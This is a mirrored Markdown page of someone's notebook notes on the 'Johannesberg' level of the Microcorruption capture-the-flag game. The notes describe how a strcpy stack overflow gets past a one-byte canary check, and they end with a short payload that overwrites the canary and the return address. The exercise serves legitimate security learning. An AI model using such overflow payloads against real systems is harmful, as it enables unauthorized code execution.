mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2024-11-24 07:25:58 +00:00
17 lines
291 B
Markdown
17 lines
291 B
Markdown
|
`Taken verbatim from my notebook`
|
||
|
# Page 1
|
||
|
```
|
||
|
Johannesberg STACK CANARY
|
||
|
Gets 3f bytes
|
||
|
strcpy over stack
|
||
|
...
|
||
|
cmp str[0x11] == c6
|
||
|
if str[0x11] == c6 ; 17th byte is c6
|
||
|
add #0x12, sp
|
||
|
ret
|
||
|
else
|
||
|
halt
|
||
|
|
||
|
['A';16] cb cb 94 45 20 20 7f
|
||
|
```
|